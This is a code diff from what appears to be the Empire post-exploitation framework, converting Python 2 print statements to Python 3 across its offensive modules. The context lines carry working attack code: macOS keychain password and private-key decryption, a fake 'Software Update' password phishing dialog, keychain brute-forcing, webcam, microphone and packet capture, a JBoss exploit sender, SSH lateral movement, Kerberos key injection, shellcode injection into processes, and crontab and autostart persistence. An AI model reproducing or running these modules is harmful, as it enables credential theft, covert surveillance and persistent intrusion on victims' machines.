pbkdf2(password, salt, itercount, keylen) - print "key: %s" % hexlify(ret) - print "expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86" + print("key: %s" % hexlify(ret)) + print("expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86") @@ -1321,12 +1321,12 @@ def test(): def hexdump(src, length=16): FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) lines = [] - for c in xrange(0, len(src), length): + for c in range(0, len(src), length): chars = src[c:c+length] hex = ' '.join(["%02x" % ord(x) for x in chars]) printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable)) - print ''.join(lines) + print(''.join(lines)) ATOM_SIZE = 4 SIZEOFKEYCHAINTIME = 16 @@ -1581,7 +1581,7 @@ def getSchemaInfo(self, offset): table_list = [] #schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE]) _schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA) - for i in xrange(_schemainfo.TableCount): + for i in range(_schemainfo.TableCount): BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA) table_list.append( struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0]) @@ -1615,7 +1615,7 @@ def getTable(self, offset): def getTablenametoList(self, recordList, tableList): TableDic = {} - for count in xrange(len(recordList)): + for count in range(len(recordList)): tableMeta, GenericList = self.getTable(tableList[count]) TableDic[tableMeta.TableId] = count # extract valid table list @@ -1660,7 +1660,7 @@ def getKeyblobRecord(self, base_addr, offset): CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset if CipherLen % BLOCKSIZE != 0: - print "Bad ciphertext len" + print("Bad ciphertext len") iv = record[16:24] @@ -1834,7 +1834,7 @@ def getLV(self, BASE_ADDR, pCol): try: data = struct.unpack(unpack_value, self.fbuf[BASE_ADDR + pCol + 4:BASE_ADDR + pCol + 4 + real_str_len])[0] except struct.error: - print 'Length is too long : %d'%real_str_len + print('Length is too long : %d'%real_str_len) return '' return data @@ -2018,21 +2018,21 @@ def chainbreaker(file, password, key=''): group.add_argument('-p', '--password', nargs=1, help='User Password', required=False) if os.path.exists(file) is False: - print '[!] ERROR: Keychain is not exists' + print('[!] ERROR: Keychain is not exists') parser.print_help() exit() keychain = KeyChain(file) if keychain.open() is False: - print '[!] ERROR: %s Open Failed'%file + print('[!] ERROR: %s Open Failed'%file) parser.print_help() exit() KeychainHeader = keychain.getHeader() if KeychainHeader.Signature != KEYCHAIN_SIGNATURE: - print '[!] ERROR: Invalid Keychain Format' + print('[!] ERROR: Invalid Keychain Format') parser.print_help() exit() @@ -2051,17 +2051,17 @@ def chainbreaker(file, password, key=''): dbkey = keychain.findWrappingKey(unhexlify(key), TableList[tableEnum[CSSM_DL_DB_RECORD_METADATA]]) else: - print '[!] ERROR: password or master key candidate' + print('[!] ERROR: password or master key candidate') exit() # DEBUG - print ' [-] DB Key' + print(' [-] DB Key') hexdump(dbkey) key_list = {} # keyblob list # get symmetric key blob - print '[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) + print('[+] Symmetric Key Table: 0x%.8x' % (sizeof(_APPL_DB_HEADER) + TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]])) TableMetadata, symmetrickey_list = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_SYMMETRIC_KEY]]) for symmetrickey_record in symmetrickey_list: @@ -2077,27 +2077,27 @@ def chainbreaker(file, password, key=''): for genericpw in genericpw_list: record = keychain.getGenericPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_GENERIC_PASSWORD]], genericpw) - print '[+] Generic Password Record' + print('[+] Generic Password Record') try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' - print ' [-] Create DateTime: %s' % record[1] # 16byte string - print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string - print ' [-] Description : %s' % record[3] - print ' [-] Creator : %s' % record[4] - print ' [-] Type : %s' % record[5] - print ' [-] PrintName : %s' % record[6] - print ' [-] Alias : %s' % record[7] - print ' [-] Account : %s' % record[8] - print ' [-] Service : %s' % record[9] - print ' [-] Password' + print(' [-] Create DateTime: %s' % record[1]) # 16byte string + print(' [-] Last Modified DateTime: %s' % record[2]) # 16byte string + print(' [-] Description : %s' % record[3]) + print(' [-] Creator : %s' % record[4]) + print(' [-] Type : %s' % record[5]) + print(' [-] PrintName : %s' % record[6]) + print(' [-] Alias : %s' % record[7]) + print(' [-] Account : %s' % record[8]) + print(' [-] Service : %s' % record[9]) + print(' [-] Password') hexdump(passwd) - print '' + print('') except KeyError: - print '[!] Generic Password Table is not available' + print('[!] Generic Password Table is not available') pass try: @@ -2105,40 +2105,40 @@ def chainbreaker(file, password, key=''): for internetpw in internetpw_list: record = keychain.getInternetPWRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_INTERNET_PASSWORD]], internetpw) - print '[+] Internet Record' + print('[+] Internet Record') try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' - print ' [-] Create DateTime: %s' % record[1] # 16byte string - print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string - print ' [-] Description : %s' % record[3] - print ' [-] Comment : %s' % record[4] - print ' [-] Creator : %s' % record[5] - print ' [-] Type : %s' % record[6] - print ' [-] PrintName : %s' % record[7] - print ' [-] Alias : %s' % record[8] - print ' [-] Protected : %s' % record[9] - print ' [-] Account : %s' % record[10] - print ' [-] SecurityDomain : %s' % record[11] - print ' [-] Server : %s' % record[12] + print(' [-] Create DateTime: %s' % record[1]) # 16byte string + print(' [-] Last Modified DateTime: %s' % record[2]) # 16byte string + print(' [-] Description : %s' % record[3]) + print(' [-] Comment : %s' % record[4]) + print(' [-] Creator : %s' % record[5]) + print(' [-] Type : %s' % record[6]) + print(' [-] PrintName : %s' % record[7]) + print(' [-] Alias : %s' % record[8]) + print(' [-] Protected : %s' % record[9]) + print(' [-] Account : %s' % record[10]) + print(' [-] SecurityDomain : %s' % record[11]) + print(' [-] Server : %s' % record[12]) try: - print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] + print(' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]) except KeyError: - print ' [-] Protocol Type : %s' % record[13] + print(' [-] Protocol Type : %s' % record[13]) try: - print ' [-] Auth Type : %s' % AUTH_TYPE[record[14]] + print(' [-] Auth Type : %s' % AUTH_TYPE[record[14]]) except KeyError: - print ' [-] Auth Type : %s' % record[14] - print ' [-] Port : %d' % record[15] - print ' [-] Path : %s' % record[16] - print ' [-] Password' + print(' [-] Auth Type : %s' % record[14]) + print(' [-] Port : %d' % record[15]) + print(' [-] Path : %s' % record[16]) + print(' [-] Password') hexdump(passwd) - print '' + print('') except KeyError: - print '[!] Internet Password Table is not available' + print('[!] Internet Password Table is not available') pass try: @@ -2146,37 +2146,37 @@ def chainbreaker(file, password, key=''): for applesharepw in applesharepw_list: record = keychain.getAppleshareRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_APPLESHARE_PASSWORD]], applesharepw) - print '[+] AppleShare Record (no more used OS X)' + print('[+] AppleShare Record (no more used OS X)') try: real_key = key_list[record[0][0:20]] passwd = keychain.DBBlobDecryption(record[0], real_key) except KeyError: passwd = '' #print '' - print ' [-] Create DateTime: %s' % record[1] # 16byte string - print ' [-] Last Modified DateTime: %s' % record[2] # 16byte string - print ' [-] Description : %s' % record[3] - print ' [-] Comment : %s' % record[4] - print ' [-] Creator : %s' % record[5] - print ' [-] Type : %s' % record[6] - print ' [-] PrintName : %s' % record[7] - print ' [-] Alias : %s' % record[8] - print ' [-] Protected : %s' % record[9] - print ' [-] Account : %s' % record[10] - print ' [-] Volume : %s' % record[11] - print ' [-] Server : %s' % record[12] + print(' [-] Create DateTime: %s' % record[1]) # 16byte string + print(' [-] Last Modified DateTime: %s' % record[2]) # 16byte string + print(' [-] Description : %s' % record[3]) + print(' [-] Comment : %s' % record[4]) + print(' [-] Creator : %s' % record[5]) + print(' [-] Type : %s' % record[6]) + print(' [-] PrintName : %s' % record[7]) + print(' [-] Alias : %s' % record[8]) + print(' [-] Protected : %s' % record[9]) + print(' [-] Account : %s' % record[10]) + print(' [-] Volume : %s' % record[11]) + print(' [-] Server : %s' % record[12]) try: - print ' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]] + print(' [-] Protocol Type : %s' % PROTOCOL_TYPE[record[13]]) except KeyError: - print ' [-] Protocol Type : %s' % record[13] - print ' [-] Address : %d' % record[14] - print ' [-] Signature : %s' % record[15] - print ' [-] Password' + print(' [-] Protocol Type : %s' % record[13]) + print(' [-] Address : %d' % record[14]) + print(' [-] Signature : %s' % record[15]) + print(' [-] Password') hexdump(passwd) - print '' + print('') except KeyError: - print '[!] AppleShare Table is not available' + print('[!] AppleShare Table is not available') pass try: @@ -2184,77 +2184,77 @@ def chainbreaker(file, password, key=''): for x509Cert in x509CertList: record = keychain.getx509Record(TableList[tableEnum[CSSM_DL_DB_RECORD_X509_CERTIFICATE]], x509Cert) - print ' [-] Cert Type: %s' %CERT_TYPE[record[0]] - print ' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]] - print ' [-] PrintName : %s' % record[2] - print ' [-] Alias : %s' % record[3] - print ' [-] Subject' + print(' [-] Cert Type: %s' %CERT_TYPE[record[0]]) + print(' [-] Cert Encoding: %s' %CERT_ENCODING[record[1]]) + print(' [-] PrintName : %s' % record[2]) + print(' [-] Alias : %s' % record[3]) + print(' [-] Subject') hexdump(record[4]) - print ' [-] Issuer :' + print(' [-] Issuer :') hexdump(record[5]) - print ' [-] SerialNumber' + print(' [-] SerialNumber') hexdump(record[6]) - print ' [-] SubjectKeyIdentifier' + print(' [-] SubjectKeyIdentifier') hexdump(record[7]) - print ' [-] Public Key Hash' + print(' [-] Public Key Hash') hexdump(record[8]) - print ' [-] Certificate' + print(' [-] Certificate') hexdump(record[9]) - print '' + print('') except KeyError: - print '[!] Certification Table is not available' + print('[!] Certification Table is not available') pass try: TableMetadata, PublicKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]]) for PublicKey in PublicKeyList: record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PUBLIC_KEY]], PublicKey) - print '[+] Public Key Record' - print ' [-] PrintName: %s' %record[0] - print ' [-] Label' + print('[+] Public Key Record') + print(' [-] PrintName: %s' %record[0]) + print(' [-] Label') hexdump(record[1]) - print ' [-] Key Class : %s'%KEY_TYPE[record[2]] - print ' [-] Private : %d'%record[3] - print ' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]] - print ' [-] Key Size : %d bits'%record[5] - print ' [-] Effective Key Size : %d bits'%record[6] - print ' [-] Extracted : %d'%record[7] - print ' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]] - print ' [-] Public Key' + print(' [-] Key Class : %s'%KEY_TYPE[record[2]]) + print(' [-] Private : %d'%record[3]) + print(' [-] Key Type : %s'%CSSM_ALGORITHMS[record[4]]) + print(' [-] Key Size : %d bits'%record[5]) + print(' [-] Effective Key Size : %d bits'%record[6]) + print(' [-] Extracted : %d'%record[7]) + print(' [-] CSSM Type : %s' %STD_APPLE_ADDIN_MODULE[record[8]]) + print(' [-] Public Key') hexdump(record[10]) except KeyError: - print '[!] Public Key Table is not available' + print('[!] Public Key Table is not available') pass try: table_meta, PrivateKeyList = keychain.getTable(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]]) for PrivateKey in PrivateKeyList: record = keychain.getKeyRecord(TableList[tableEnum[CSSM_DL_DB_RECORD_PRIVATE_KEY]], PrivateKey) - print '[+] Private Key Record' - print ' [-] PrintName: %s' % record[0] - print ' [-] Label' + print('[+] Private Key Record') + print(' [-] PrintName: %s' % record[0]) + print(' [-] Label') hexdump(record[1]) - print ' [-] Key Class : %s' % KEY_TYPE[record[2]] - print ' [-] Private : %d' % record[3] - print ' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]] - print ' [-] Key Size : %d bits' % record[5] - print ' [-] Effective Key Size : %d bits' % record[6] - print ' [-] Extracted : %d' % record[7] - print ' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]] + print(' [-] Key Class : %s' % KEY_TYPE[record[2]]) + print(' [-] Private : %d' % record[3]) + print(' [-] Key Type : %s' % CSSM_ALGORITHMS[record[4]]) + print(' [-] Key Size : %d bits' % record[5]) + print(' [-] Effective Key Size : %d bits' % record[6]) + print(' [-] Extracted : %d' % record[7]) + print(' [-] CSSM Type : %s' % STD_APPLE_ADDIN_MODULE[record[8]]) keyname, privatekey = keychain.PrivateKeyDecryption(record[10], record[9], dbkey) - print ' [-] Key Name' + print(' [-] Key Name') hexdump(keyname) - print ' [-] Decrypted Private Key' + print(' [-] Decrypted Private Key') hexdump(privatekey) except KeyError: - print '[!] Private Key Table is not available' + print('[!] Private Key Table is not available') pass exit() -""" +""" script += """ try: import gc @@ -2262,7 +2262,7 @@ def chainbreaker(file, password, key=''): chainbreaker('%s', '%s', key='') gc.collect() except Exception as e: - print e + print(e) pass """ % (keyChain, password) diff --git a/lib/modules/python/collection/osx/osx_mic_record.py b/lib/modules/python/collection/osx/osx_mic_record.py index 6f940d1c2..dd9caeefd 100644 --- a/lib/modules/python/collection/osx/osx_mic_record.py +++ b/lib/modules/python/collection/osx/osx_mic_record.py @@ -153,7 +153,7 @@ def generate(self, obfuscate=False, obfuscationCommand=''): run_command('rm -f ' + output_path) # return captured audio to agent - print captured_audio + print(captured_audio) del pool diff --git a/lib/modules/python/collection/osx/prompt.py b/lib/modules/python/collection/osx/prompt.py index 24dc2bbad..7bebbd4d4 100644 --- a/lib/modules/python/collection/osx/prompt.py +++ b/lib/modules/python/collection/osx/prompt.py @@ -96,8 +96,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): for x in xrange(len(apps)): choices.append("[%s] %s " %(x+1, apps[x]) ) -print "\\nAvailable applications:\\n" -print '\\n'.join(choices) +print("\\nAvailable applications:\\n"_ +print('\\n'.join(choices)) """ else: @@ -105,14 +105,14 @@ def generate(self, obfuscate=False, obfuscationCommand=""): # osascript prompt for the current application with System Preferences icon script = """ import os -print os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read() +print(os.popen('osascript -e \\\'display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon file "Applications:System Preferences.app:Contents:Resources:PrefApp.icns" with hidden answer with title "Software Update"\\\'').read()) """ else: # osascript prompt for the specific application script = """ import os -print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() +print(os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read()) """ % (appName, appName, appName, appName) return script diff --git a/lib/modules/python/collection/osx/screensaver_alleyoop.py b/lib/modules/python/collection/osx/screensaver_alleyoop.py index e2670acd8..48b0462e2 100644 --- a/lib/modules/python/collection/osx/screensaver_alleyoop.py +++ b/lib/modules/python/collection/osx/screensaver_alleyoop.py @@ -153,15 +153,15 @@ def run(exitCount, verbose=False): correct = unlockchain(password) if correct: # we found the right password! - print '[!] unlock-keychain passed: ' + str(password) + print('[!] unlock-keychain passed: ' + str(password)) break else: - print "[*] Bad password: " + str(password) + print("[*] Bad password: " + str(password)) text = retrypassword() else: text = retrypassword() except Exception as e: - print e + print(e) exitCount = %s verbose = %s diff --git a/lib/modules/python/collection/osx/sniffer.py b/lib/modules/python/collection/osx/sniffer.py index ebd7e3fdd..c6c614c6d 100644 --- a/lib/modules/python/collection/osx/sniffer.py +++ b/lib/modules/python/collection/osx/sniffer.py @@ -139,40 +139,40 @@ class pcap_stat(ctypes.Structure): def pkthandler(pkthdr,packet): cp = pkthdr.contents.caplen if DEBUG: - print "packet capture length: " + str(pkthdr.contents.caplen) - print "packet tottal length: " + str(pkthdr.contents.len) - print(pkthdr.contents.tv_sec,pkthdr.contents.caplen,pkthdr.contents.len) - print packet.contents[:cp] + print("packet capture length: " + str(pkthdr.contents.caplen)) + print("packet tottal length: " + str(pkthdr.contents.len)) + print((pkthdr.contents.tv_sec,pkthdr.contents.caplen,pkthdr.contents.len)) + print(packet.contents[:cp]) if DEBUG: - print "-------------------------------------------" + print("-------------------------------------------") libc = ctypes.CDLL(OSX_LIBC_DYLIB, use_errno=True) if not libc: if DEBUG: - print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()] + print("Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]) if DEBUG: - print "* C runtime libary loaded: %s" % OSX_LIBC_DYLIB + print("* C runtime libary loaded: %s" % OSX_LIBC_DYLIB) pcap = ctypes.CDLL(OSX_PCAP_DYLIB, use_errno=True) if not pcap: if DEBUG: - print "Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()] + print("Error loading C libary: %s" % errno.errorcode[ctypes.get_errno()]) if DEBUG: - print "* C runtime libary loaded: %s" % OSX_PCAP_DYLIB - print "* C runtime handle at: %s" % pcap - print "-------------------------------------------" + print("* C runtime libary loaded: %s" % OSX_PCAP_DYLIB) + print("* C runtime handle at: %s" % pcap) + print("-------------------------------------------") if not INTERFACE: pcap_lookupdev = pcap.pcap_lookupdev pcap_lookupdev.restype = ctypes.c_char_p INTERFACE = pcap.pcap_lookupdev() if DEBUG: - print "* Device handle at: %s" % INTERFACE + print("* Device handle at: %s" % INTERFACE) net = ctypes.c_uint() mask = ctypes.c_uint() pcap.pcap_lookupnet(INTERFACE,ctypes.byref(net),ctypes.byref(mask),err_buf) if DEBUG: - print "* Device IP to bind: %s" % net - print "* Device net mask: %s" % mask + print("* Device IP to bind: %s" % net) + print("* Device net mask: %s" % mask) #pcap_t *pcap_open_live(const char *device, int snaplen,int promisc, int to_ms, char *errbuf) pcap_open_live = pcap.pcap_open_live @@ -182,27 +182,27 @@ def pkthandler(pkthdr,packet): #pcap_handle = pcap.pcap_create(INTERFACE, err_buf) pcap_handle = pcap.pcap_open_live(INTERFACE, 1024, packet_count_limit, timeout_limit, err_buf) if DEBUG: - print "* Live capture device handle at: %s" % pcap_handle + print("* Live capture device handle at: %s" % pcap_handle) pcap_can_set_rfmon = pcap.pcap_can_set_rfmon pcap_can_set_rfmon.argtypes = [ctypes.c_void_p] if (pcap_can_set_rfmon(pcap_handle) == 1): if DEBUG: - print "* Can set interface in monitor mode" + print("* Can set interface in monitor mode") pcap_pkthdr_p = ctypes.POINTER(pcap_pkthdr)() packetdata = ctypes.POINTER(ctypes.c_ubyte*65536)() #print pcap.pcap_next(pcap_handle,ctypes.byref(pcap_pkthdr_p)) if DEBUG: - print "-------------------------------------------" + print("-------------------------------------------") pcap_dump_open = pcap.pcap_dump_open pcap_dump_open.restype = ctypes.POINTER(ctypes.c_void_p) pcap_dumper_t = pcap.pcap_dump_open(pcap_handle,PCAP_FILENAME) if DEBUG: - print "* Pcap dump handle created: %s" % pcap_dumper_t - print "* Pcap data dump to file: %s" % (PCAP_FILENAME) - print "* Max Packets to capture: %s" % (PCAP_CAPTURE_COUNT) - print "-------------------------------------------" + print("* Pcap dump handle created: %s" % pcap_dumper_t) + print("* Pcap data dump to file: %s" % (PCAP_FILENAME)) + print("* Max Packets to capture: %s" % (PCAP_CAPTURE_COUNT)) + print("-------------------------------------------") # CMPFUNC = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p) # def pkthandler_callback(pcap_pkthdr,pdata): @@ -218,17 +218,17 @@ def pkthandler(pkthdr,packet): c += 1 if c > PCAP_CAPTURE_COUNT: if DEBUG: - print "* Max packet count reached!" + print("* Max packet count reached!") break if DEBUG: - print "-------------------------------------------" - print "* Pcap dump handle now freeing" + print("-------------------------------------------") + print("* Pcap dump handle now freeing") pcap.pcap_dump_close(pcap_dumper_t) if DEBUG: - print "* Device handle now closing" + print("* Device handle now closing") if not (pcap.pcap_close(pcap_handle)): if DEBUG: - print "* Device handle failed to close!" + print("* Device handle failed to close!") if not IN_MEMORY: f = open(PCAP_FILENAME, 'rb') data = f.read() diff --git a/lib/modules/python/collection/osx/webcam.py b/lib/modules/python/collection/osx/webcam.py index 79d5adb01..5f275d123 100644 --- a/lib/modules/python/collection/osx/webcam.py +++ b/lib/modules/python/collection/osx/webcam.py @@ -93,7 +93,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): f.close() run_command('rm -f %sdebug') run_command('rm -f %sdebug.png') -print data +print(data) """ % (tempDir, tempDir, tempDir, tempDir, tempDir, tempDir, tempDir) return script diff --git a/lib/modules/python/exploit/web/jboss_jmx.py b/lib/modules/python/exploit/web/jboss_jmx.py index 6e822e838..beaffd19a 100644 --- a/lib/modules/python/exploit/web/jboss_jmx.py +++ b/lib/modules/python/exploit/web/jboss_jmx.py @@ -91,7 +91,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): with open('%s', 'rb') as f: data=f.read() except Exception as e: - print "Failure reading payload: " + str(e) + print("Failure reading payload: " + str(e)) url = '%s' try: @@ -103,8 +103,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): opener = urllib2.build_opener(urllib2.HTTPHandler) content = opener.open(request).read() except Exception as e: - print "Failure sending payload: " + str(e) + print("Failure sending payload: " + str(e)) -print "Finished" +print("Finished") """ % (payload, url) return script diff --git a/lib/modules/python/lateral_movement/multi/ssh_command.py b/lib/modules/python/lateral_movement/multi/ssh_command.py index 32e8b103e..ffa1adfdd 100644 --- a/lib/modules/python/lateral_movement/multi/ssh_command.py +++ b/lib/modules/python/lateral_movement/multi/ssh_command.py @@ -120,8 +120,8 @@ def wall(host, pw): return status, ''.join(result) status, output = wall('%s','%s') -print status -print output +print(status) +print(output) """ % (command, login, password) return script diff --git a/lib/modules/python/lateral_movement/multi/ssh_launcher.py b/lib/modules/python/lateral_movement/multi/ssh_launcher.py index bb5677c7f..0d4611d76 100644 --- a/lib/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/lib/modules/python/lateral_movement/multi/ssh_launcher.py @@ -135,8 +135,8 @@ def wall(host, pw): return status, ''.join(result) status, output = wall('%s','%s') -print status -print output +print(status) +print(output) """ % (launcher, login, password) return script diff --git a/lib/modules/python/management/multi/kerberos_inject.py b/lib/modules/python/management/multi/kerberos_inject.py index 8262c0584..1a2112f74 100644 --- a/lib/modules/python/management/multi/kerberos_inject.py +++ b/lib/modules/python/management/multi/kerberos_inject.py @@ -91,22 +91,22 @@ def generate(self, obfuscate=False, obfuscationCommand=""): script = """ import subprocess try: - print "Creating Keytab.." + print("Creating Keytab..") cmd = 'ktutil -k %s add -p %s -e arcfour-hmac-md5 -w %s --hex -V 5' - print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() - print "" - print "Keytab created!" + print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) + print("") + print("Keytab created!") except Exception as e: - print e + print(e) try: - print "Injecting kerberos key.." + print("Injecting kerberos key..") cmd = 'kinit -t %s %s' - print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() - print "" - print "Keytab injected into current session!" + print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) + print("") + print("Keytab injected into current session!") except Exception as e: - print e + print(e) """ %(keytab,principal,ntlmhash,keytab,principal) return script \ No newline at end of file diff --git a/lib/modules/python/management/osx/shellcodeinject64.py b/lib/modules/python/management/osx/shellcodeinject64.py index 5a368585e..7cbf180d8 100644 --- a/lib/modules/python/management/osx/shellcodeinject64.py +++ b/lib/modules/python/management/osx/shellcodeinject64.py @@ -154,16 +154,16 @@ class remoteThreadState64(ctypes.Structure): result = libc.task_for_pid(libc.mach_task_self(), pid, ctypes.byref(remoteTask)) if (result != KERN_SUCCESS): - print "Unable to get task for pid\\n" - return "" + print("Unable to get task for pid\\n") + return("") result = libc.mach_vm_allocate(remoteTask, ctypes.byref(remoteStack64), STACK_SIZE, VM_FLAGS_ANYWHERE) if result != KERN_SUCCESS: - print "Unable to allocate memory for the remote stack\\n" + print("Unable to allocate memory for the remote stack\\n") return "" result = libc.mach_vm_allocate(remoteTask, ctypes.byref(remoteCode64),len(shellcode),VM_FLAGS_ANYWHERE) if result != KERN_SUCCESS: - print "Unable to allocate memory for the remote code\\n" + print("Unable to allocate memory for the remote code\\n") return "" longptr = ctypes.POINTER(ctypes.c_ulong) @@ -171,12 +171,12 @@ class remoteThreadState64(ctypes.Structure): result = libc.mach_vm_write(remoteTask, remoteCode64, shellcodePtr, len(shellcode)) if result != KERN_SUCCESS: - print "Unable to write process memory\\n" + print("Unable to write process memory\\n") return "" result = libc.vm_protect(remoteTask, remoteCode64, len(shellcode),False, (VM_PROT_READ | VM_PROT_EXECUTE)) if result != KERN_SUCCESS: - print "Unable to modify permissions for memory\\n" + print("Unable to modify permissions for memory\\n") return "" emptyarray = bytearray(sys.getsizeof(remoteThreadState64)) @@ -197,10 +197,10 @@ class remoteThreadState64(ctypes.Structure): result = libc.thread_create_running(remoteTask,x86_THREAD_STATE64, ctypes.byref(threadstate64), x86_THREAD_STATE64_COUNT, ctypes.byref(remoteThread)) if (result != KERN_SUCCESS): - print "Unable to execute remote thread in process" + print("Unable to execute remote thread in process") return "" - print "Injected shellcode into process successfully!" + print("Injected shellcode into process successfully!") run() """ script = script.replace('[SC]', shellcode) diff --git a/lib/modules/python/persistence/multi/crontab.py b/lib/modules/python/persistence/multi/crontab.py index 4e16e1955..395955952 100644 --- a/lib/modules/python/persistence/multi/crontab.py +++ b/lib/modules/python/persistence/multi/crontab.py @@ -100,24 +100,23 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if Remove == "True": cmd = 'crontab -l | grep -v "%s" | crontab -' - print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() - print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read() - print "Finished" + print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) + print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) + print("Finished") else: if Hourly == "True": cmd = 'crontab -l | { cat; echo "0 * * * * %s"; } | crontab -' - print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() - print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read() - print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read() - print "Finished" + print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) + print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) + print(subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()) + print("Finished") elif Hour: cmd = 'crontab -l | { cat; echo "0 %s * * * %s"; } | crontab -' - print subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read() - print subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read() - print subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read() - print "Finished" - + print(subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE).stdout.read()) + print(subprocess.Popen('crontab -l', shell=True, stdout=subprocess.PIPE).stdout.read()) + print(subprocess.Popen('chmod +x %s', shell=True, stdout=subprocess.PIPE).stdout.read()) + print("Finished") """ % (Remove, Hourly, Hour, FileName, FileName, FileName, Hour, FileName, FileName) return script diff --git a/lib/modules/python/persistence/multi/desktopfile.py b/lib/modules/python/persistence/multi/desktopfile.py index 17abdf762..ede033240 100644 --- a/lib/modules/python/persistence/multi/desktopfile.py +++ b/lib/modules/python/persistence/multi/desktopfile.py @@ -108,9 +108,9 @@ def generate(self, obfuscate=False, obfuscationCommand=""): if remove.lower() == "true": if os.path.isfile(writeFile): os.remove(writeFile) - print "\\n[+] Persistence has been removed" + print("\\n[+] Persistence has been removed") else: - print "\\n[-] Persistence file does not exist, nothing removed" + print("\\n[-] Persistence file does not exist, nothing removed") else: if not os.path.exists(filePath): @@ -119,8 +119,8 @@ def generate(self, obfuscate=False, obfuscationCommand=""): e.write(dtFile) e.close() - print "\\n[+] Persistence has been installed: ~/.config/autostart/%s" - print "\\n[+] Empire daemon has been written to %s" + print("\\n[+] Persistence has been installed: ~/.config/autostart/%s") + print("\\n[+] Empire daemon has been written to %s") """ % (remove, dtSettings, fileName, fileName, fileName) diff --git a/lib/modules/python/persistence/osx/CreateHijacker.py b/lib/modules/python/persistence/osx/CreateHijacker.py index 0135d99bb..2825e99ab 100644 --- a/lib/modules/python/persistence/osx/CreateHijacker.py +++ b/lib/modules/python/persistence/osx/CreateHijacker.py @@ -116,439 +116,7 @@ def generate(self, obfuscate=False, obfuscationCommand=""): vrpath = self.options['VulnerableRPATH']['Value'] script = """ -from ctypes import * -def run(attackerDYLIB): - import ctypes - import io - import os - import sys - import fcntl - import shutil - import struct - import stat - - - LC_REQ_DYLD = 0x80000000 - LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18 - 